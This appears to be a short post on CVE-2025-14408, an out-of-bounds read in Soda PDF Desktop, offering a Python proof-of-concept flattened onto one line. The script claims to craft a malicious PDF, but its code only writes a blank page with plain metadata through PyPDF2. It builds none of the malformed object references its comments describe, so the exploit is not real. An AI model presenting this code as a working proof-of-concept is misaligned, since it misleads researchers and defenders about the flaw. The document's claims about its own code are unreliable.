CVE-2025-14408: Soda PDF Desktop PDF解析越界读取信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-14408 PoC - Soda PDF Desktop PDF Parsing Out-of-Bounds Read This PoC generates a malicious PDF file that triggers an out-of-bounds read vulnerability in Soda PDF Desktop's PDF parser. Note: This is for educational and security research purposes only. """ from PyPDF2 import PdfWriter from io import BytesIO def generate_malicious_pdf(): """ Generate a crafted PDF file that may trigger OOB read in vulnerable parsers. The vulnerability exists due to insufficient validation of PDF object references and cross-reference tables. """ pdf_writer = PdfWriter() # Create a malformed PDF structure that may trigger parsing issues # Add a page with crafted object references page = pdf_writer.add_blank_page(width=612, height=792) # Add metadata that might trigger the vulnerability pdf_writer.add_metadata({ '/Title': 'CVE-2025-14408 Test Document', '/Author': 'Security Research', '/Subject': 'OOB Read Vulnerability Test' }) # Write to bytes output = BytesIO() pdf_writer.write(output) return output.getvalue() def main(): print("[*] Generating CVE-2025-14408 PoC PDF...") pdf_data = generate_malicious_pdf() output_path = 'CVE-2025-14408-poc.pdf' with open(output_path, 'wb') as f: f.write(pdf_data) print(f"[+] PoC PDF saved to: {output_path}") print("[*] To test: Open this file with vulnerable Soda PDF Desktop version") print("[*] Expected: Potential information disclosure via OOB read") if __name__ == '__main__': main() # Additional testing approach - hex dump analysis def analyze_pdf_structure(pdf_path): """Analyze PDF for potential vulnerability triggers""" with open(pdf_path, 'rb') as f: content = f.read() print(f"[*] PDF size: {len(content)} bytes") print(f"[*] First 100 bytes: {content[:100].hex()}")